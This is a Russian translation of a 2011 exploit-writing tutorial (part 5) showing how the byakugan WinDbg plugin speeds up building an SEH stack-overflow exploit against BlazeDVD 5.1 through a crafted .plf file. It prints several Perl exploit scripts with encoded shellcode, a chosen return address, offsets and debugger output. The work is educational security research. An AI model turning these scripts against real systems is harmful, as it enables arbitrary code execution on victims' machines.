понедельник, 31 октября 2011 г.

Руководство по написанию эксплойтов. Часть 5 - Средства ускоряющие процесс разработки

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В первых частях руководства, я главным образом использовал Windbg, как инструмент позволяющий наблюдать за состоянием регистров и стека. В этой части, я расскажу и о других отладчиках и плагинах для них, которые помогут Вам ускорить этот процесс. Типичный набор средств для написания эксплойтов должен выглядеть примерно таким образом:
windbg (http://www.microsoft.com/whdc/devtools/debugging/default.mspx) (для получения списка команд Windbg, щелкните здесь)
ollydbg
immunity debugger (требует установку Python, который идет в комплекте)
metasploit
pyDbg
различные скрипты на perl/python, и т.д

В предыдущих главах мы уже познакомились с windbg, и я кратко рассказал о плагине от Microsoft, который позволяет оценить аварийное состояние программы, и сообщал о пригодности к использованию такой уязвимости. Этот плагин (MSEC) может быть загружен по адресу http://www.codeplex.com/msecdbg. На первый взгляд MSEC может быть весьма удобен в применении, но полностью полагаться на него всё же не стоит. Всегда лучше вручную просмотреть регистры, состояние стека, и попытаться определить, может ли уязвимость привести к выполнению внедряемого кода.

Byakugan: введение в pattern_offset и searchOpcode.

Все наверняка знают, что у ollydbg есть многочисленное число плагинов. У Windbg на этот счет есть framework/API для создания плагинов и расширений. MSEC был лишь одним из примеров… Metasploit, приблизительно год назад, создал и выпустил свой собственный плагин для windbg под названием byakugan. Предкомпилированные бинарники для Windows XP SP2, SP3, Vista и Windows 7 могут быть найдены в папке framework3 по адресу \external\source\byakugan\bin. Переместите byakugan.dll и injectsu.dll в папку windbg, а detoured.dll в c:\windows\system32. Итак, что же нам может дать byakugan.dll?

  • jutsu: набор инструментов, для отслеживания буферов в памяти, определяя, где находится управление программой во время её крушения, а также для обнаружения действительного адреса возврата.
  • pattern_offset
  • mushishi: структура для обнаружения и обходов антиотладки.
  • tenketsu: эмулятор vista heap.

Вы можете загрузить byakugan модуль в windbg, используя следующую команду:

0:000> !load byakugan
[Byakugan] Successfully loaded!

jutsu компонент предлагает следующие функции:

  • identBuf / listBuf / rmBuf: ищет буферы (ascii, metasploit-шаблоны, или данные из файла) в памяти
  • memDiff: сравнивает данные в памяти с образцом и отмечает изменения. Это поможет Вам определить был ли, например, изменен шеллкод в памяти, из-за возможных ‘плохих знаков’, которые должны быть исключены из шеллкода
  • hunt
  • findReturn: ищет адреса, которые указывают на функцию применимую для возврата
  • searchOpcode: конвертирует инструкции ассемблера в опкоды
  • searchVtptr
  • trackVal

В дополнение к jutsu есть pattern_offset, который позволяет Вам находить metasploit-шаблон в памяти и показывает смещение eip

Чтобы продемонстрировать, как byakugan может ускорить процесс создания эксплойта, мы будем использовать уязвимость, найденную в BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0, где измененный plf файл приводит к стековому переполнению буфера.

Обычно, мы начали бы с построения полезной нагрузки, которая содержал множество “A”. Но на сей раз, мы сразу задействуем metasploit-шаблон.

Создайте metasploit-шаблон, который содержит 1000 знаков и сохраните его в файле (например, blazecrash.plf):

peter@sploitbuilder1 ~/framework-3.2/tools
$./pattern_create.rb 1000> blazecrash.plf

Запустите windbg, и откройте в нем blazedvd. Нажмите F5 для запуска приложения. После того, как blazeDVD запущена, откройте в ней наш подготовленный plf файл . Когда произойдет зависание программы, снова нажмите F5.

Вы должны получить нечто похожее на это:

(5b0.894): Access violation(5b0.894): Access violation - code c0000005 (first chance)
 - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc

Теперь пришло время воспользоваться byakugan. Загрузите его, и посмотрите, сможет ли он найти metasploit-шаблон:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !pattern_offset 1000
[Byakugan] Control of ecx at offset 612.
[Byakugan] Control of eip at offset 612.

Отлично. Мало того, что мы убедились в буферном переполнении, так мы ещё и знаем смещение, и все это за один заход. Похоже, что мы смогли перезаписать RET… Но прежде, чем сказать об этом точно, необходимо проверить это с помощью !exchain:

0:000> !exchain
0012afe4: 0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc)
ntdll!ExecuteHandler2+3a (7c9032bc)
0012f5b8: 0012f5b8: +41347540 (41347541)
+41347540 (41347541)
Invalid exception stack at 33754132

Это SEH переполнение. Смещение 612, является смещением к nSEH. Поэтому, для того чтобы переписать next SEH, мы должны вычесть 4 байта, и получить реальное смещение = 608

Мы знаем, что структура типичного SEH эксплойта похожа на эту:

[junk][jump][pop pop ret][shellcode]

Давайте найдем pop,pop,ret, и:

  • - прыгнем на 30 байт (вместо 6 байтов)
  • - начнем шеллкод с nop'ов (чтобы компенсировать 30-байтовый скачок)

Найдем pop,pop,ret: Вы можете все еще использовать findjmp, или !jutsu searchOpcode. Единственный недостаток с !jutsu searchOpcode то, что Вы должны будете определить регистры. Однако мы воспользуемся именно им. Мы будем искать pop esi, pop ebx, ret

0:000> !jutsu searchOpcode pop esi | pop ebx | ret
[J] Searching for:
> pop esi
>  pop ebx
>  ret

[J] Machine Code:
> 5e 5b c3
[J] Executable opcode sequence found at: 0x05942a99
[J] Executable opcode sequence found at: 0x05945425
[J] Executable opcode sequence found at: 0x05946a1e
[J] Executable opcode sequence found at: 0x059686a0
[J] Executable opcode sequence found at: 0x05969d91
[J] Executable opcode sequence found at: 0x0596aaa6
[J] Executable opcode sequence found at: 0x1000467f
[J] Executable opcode sequence found at: 0x100064c7
[J] Executable opcode sequence found at: 0x10008795
[J] Executable opcode sequence found at: 0x1000aa0b
[J] Executable opcode sequence found at: 0x1000e662
[J] Executable opcode sequence found at: 0x1000e936
[J] Executable opcode sequence found at: 0x3d937a1d
[J] Executable opcode sequence found at: 0x3d93adf5

… (etc)

Ищите адрес в диапазоне адресов одного из модулей/dll BlazeDVD. (Вы можете получить список выполнимых модулей командой “lm”). На моей системе (XP SP3 En), адреса начинающиеся с 0×64 будут прекрасно работать. Воспользуемся адресом 0x640246f7

0:000> u 0x640246f7
MediaPlayerCtrl!DllCreateObject+0x153e7:
640246f7 5e              pop     esi
640246f8 5b              pop     ebx
640246f9 c3              ret

Пишем эксплойт:

#!usr/bin/perl
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

На моей системе сработало. Пробуйте.

Возможно, нам повезло на сей раз, т.к. существует множество недостатков при создании эксплойта почти "в слепую", например:

  • - мы не знаем, находиться ли используемый для pop,pop,ret адрес в модуле, который собран с safeseh.
  • - мы не уверены в правильном размещении шеллкода (но перепрыгивая 30 байт, и используя nop’ы, мы немного увеличили свои шансы)
  • - если эксплойт не работает (из-за слишком маленьких буферов для шеллкода), нам придется переделывать работу снова и снова, и на сей раз вручную.

Но тем не менее, если это сработает, Вы сэкономите кучу времени.

Byakugan: memDiff

Воспользуемся той же самой уязвимостью и эксплойтом, чтобы обсудить некоторые из других особенностей byakugan.

Мы будем использовать тот же самый эксплойт, но вместо того, чтобы делать скачок (0xeb, 0x1e), мы вставим 2 контрольных точки (0xcc, 0xcc), таким образом, мы сможем наблюдать, соответствует ли наш оригинальный шеллкод тому, что мы поместили в память (мы сможем идентифицировать повреждения шеллкода и возможные плохие символы).

Во-первых, мы сравним шеллкод в памяти с оригинальным шеллкодом, и, продемонстрируем различные функциональные возможности. Изменив шеллкод мы сможем увидеть различия.

Мы должны поместить шеллкод в текстовый файл:

my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

open ($FILE2,">shell.txt");
print $FILE2 $shellcode;
close($FILE2);


Откройте windbg, запустите выполнение программы, и откройте недавно созданный файл эксплойта. Когда приложение зависает, нажмите F5, таким образом, оно переступит через первое исключение.

Приложение теперь останавливается на наших контрольных точках, как и ожидалось:

(744.7a8): Break instruction exception(744.7a8):
Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Сделайте дамп eip, чтобы получить адрес начала шеллкода:

0:000> d eip
0012f5b8  cc cc 90 90 f7 46 02 64-90 90 90 90 90 90 90 90  .....F.d........
0012f5c8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d8  90 90 90 90 90 90 89 e3-db c2 d9 73 f4 59 49 49  ...........s.YII
0012f5e8  49 49 49 43 43 43 43 43-43 51 5a 56 54 58 33 30  IIICCCCCCQZVTX30
0012f5f8  56 58 34 41 50 30 41 33-48 48 30 41 30 30 41 42  VX4AP0A3HH0A00AB
0012f608  41 41 42 54 41 41 51 32-41 42 32 42 42 30 42 42  AABTAAQ2AB2BB0BB
0012f618  58 50 38 41 43 4a 4a 49-4b 4c 4b 58 51 54 43 30  XP8ACJJIKLKXQTC0
0012f628  bb 50 bb 50 4c 4b 47 35-47 4c 4c 4b 43 4c 43 35  .P.PLKG5GLLKCLC5

Шеллкод начинается в 0x0012f5de. Запускаем jutsu

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 43 53 43 51 42 4c 43 53 43 30 41 41         4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4
[J] Offset corruption occurs at:

Параметры, которые были переданы memDiff:

  • - указывают, что memDiff должен читать из файла
  • - 302: размер памяти, для чтения (302 = длина нашего шеллкода)
  • - c:\sploits\blazevideo\shellcode.txt: файл, содержащий наш оригинальный шеллкод
  • - 0x0012f5de: начальный адрес (точка начала нашего шеллкода в памяти)

Теперь измените скрипт эксплойта и некоторые случайные байты шеллкода (Я заменил все x43 на x44 - 24 замены)

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 44 44 44     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
44 44 44 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 44 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 44 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 44 4c 44 35 44 38 44 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 44 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 44 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 44 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 44 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 44 34 49 53 51 4f 46 51 4b 46 44 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 44 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 44 5a 50 50 44 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 44 53 44 51 42 4c 44 53 44 30 41 41           4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4 0x43
[J] Offset corruption occurs at:

Теперь мы видим 24 байта (которые переписываются 24 байтами, измененными в оригинальном шеллкоде). Это хороший способ определить, был л шеллкод (или ascii образец, или metasploit образец) изменены в памяти. Вы можете также видеть “замененные” байты. Сравните линию байтов с линией, которая была распечатана в первом тесте. Мы теперь видим 0×43, добавленные к списку…
memDiff может действительно сохранить много времени, при сравнении шеллкодов и найти плохие символы.
Отметьте: memDiff типы и параметры:

0:000> !jutsu memDiff
[J] Format: memDiff    
Valid Types: hex: Value is any hex characters file: Buffer is read in from file at path buf: Buffer is taken from known tracked Buffers

Byakugan: identBuf/listBuf/rmBuf и Hunt

Эти 3 функции jutsu помогут Вам находить местоположения буферов в памяти.

Давайте возьмем следующий скрипт:

#!usr/bin/perl
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab…";

my $nseh = "\xcc\xcc\x90\x90";  #jump 30 bytes
my $seh = pack('V',0x640246f7);  #pop esi, pop ebx, ret
my $nop = "\x90" x 30;  #start with 30 nop's

# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\shell.txt");
print $FILE2 $nop.$shellcode;
close($FILE2);

Отметьте: “my $junk” содержит в себе metasploit шаблон из 608.
nseh содержит контрольные точки. И наконец, у основания скрипта, nop'ы + шеллкод записаны в файле (c:\shell.txt).

Откройте windbg, запустите в нем blazeDVD, откройте файл эксплойта (который должен заставить приложение зависнуть). Первое исключение:

(d54.970): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Теперь создайте 2 identBuf определения: один для metasploit-шаблона, и один для шеллкода:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf file myShell c:\shell.txt
[J] Creating buffer myShell.
0:000> !jutsu identBuf msfpattern myBuffer 608
[J] Creating buffer myBuffer.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
    Buf: myShell    Pattern: ãÛÂÙsôYIIIIICCCCCCQZVT...
    Buf: myBuffer    Pattern: Aa0Aa1A...

Запустите byakugan hunt для этих буферов:

0:000> !jutsu hunt
[J] Controlling eip with myBuffer at offset 260.
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Как было замечено ранее, мы могли перезаписать EIP непосредственно (но мы создаем SEH-эксплойт). Hunt говорит нам, что мы получаем управляем над eip в смещении 260. Таким образом hunt даст нам те же самые результаты как !pattern_offset. Вдобавок ко всему, hunt будет искать наши предидентифицированные буфера и давать нам их адреса.

Нажмите “g” в windbg (чтобы передать первое исключение приложению). Приложение теперь останавливается в наших контрольных точках (которые помещены в nseh)

0:000> g
(d54.970): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Снова запустите hunt:

0:000> !jutsu hunt
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Мы больше не управляем eip через myBuffer (т.к. мы передали первое исключение приложению), но если посмотреть на eip (0x0012f5b8), мы увидим, что он указывает на местоположение, которое является очень близким к буферу myShell (0x0012f5c0) (таким образом короткий скачок позволит достать до шеллкода).

0:000> d eip+8
0012f5c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 89 e3  ................
0012f5e0  db c2 d9 73 f4 59 49 49-49 49 49 43 43 43 43 43  ...s.YIIIIICCCCC
0012f5f0  43 51 5a 56 54 58 33 30-56 58 34 41 50 30 41 33  CQZVTX30VX4AP0A3
0012f600  48 48 30 41 30 30 41 42-41 41 42 54 41 41 51 32  HH0A00ABAABTAAQ2
0012f610  41 42 32 42 42 30 42 42-58 50 38 41 43 4a 4a 49  AB2BB0BBXP8ACJJI
0012f620  4b 4c 4b 58 51 54 43 30-45 50 45 50 4c 4b 47 35  KLKXQTC0EPEPLKG5
0012f630  47 4c 4c 4b 43 4c 43 35-44 38 43 31 4a 4f 4c 4b  GLLKCLC5D8C1JOLK

Это доказывает то, что наша контрольная точка помещена в первый байт, где nseh перезаписывается на скачок в 8 байтов для перехода к нашему шеллкоду.

Byakugan: findReturn

Мы убедились в том, что можем создать эксплойт, основанный на прямом RET-перезаписывании (в смещении 260). Давайте напишем скрипт, который продемонстрирует, что использование findReturn помогает нам создавать рабочие эксплойты:

Во-первых, напишем скрипт, который создаст полезную нагрузку, состоящую из 264 символов (metasploit-шаблон), сопровождаемых 1000 "A":
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 . . . Ai7";
my $junk2 = "A" x 1000;
$payload =$junk.$junk2;

open ($FILE,">$sploitfile");a
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\junk2.txt");
print $FILE2 $junk2;
close($FILE2);

Открыв файл эксплота, windbg сообщит следующее:

(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Воспользуемся арсеналом byakugan, чтобы найти, что вся запрошенная информация создаст рабочий эксплойт:

  • - отследим metasploit-шаблон ($junk)
  • - отследим A’s ($junk2)
  • - смотрим, где перезаписывается eip (смещение)
  • - смотрим, где находятся $junk и $junk2
  • - находим адреса возврата

(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Результаты:

  • - eip был перезаписан в смещении равном 260 байт от myJunk1.
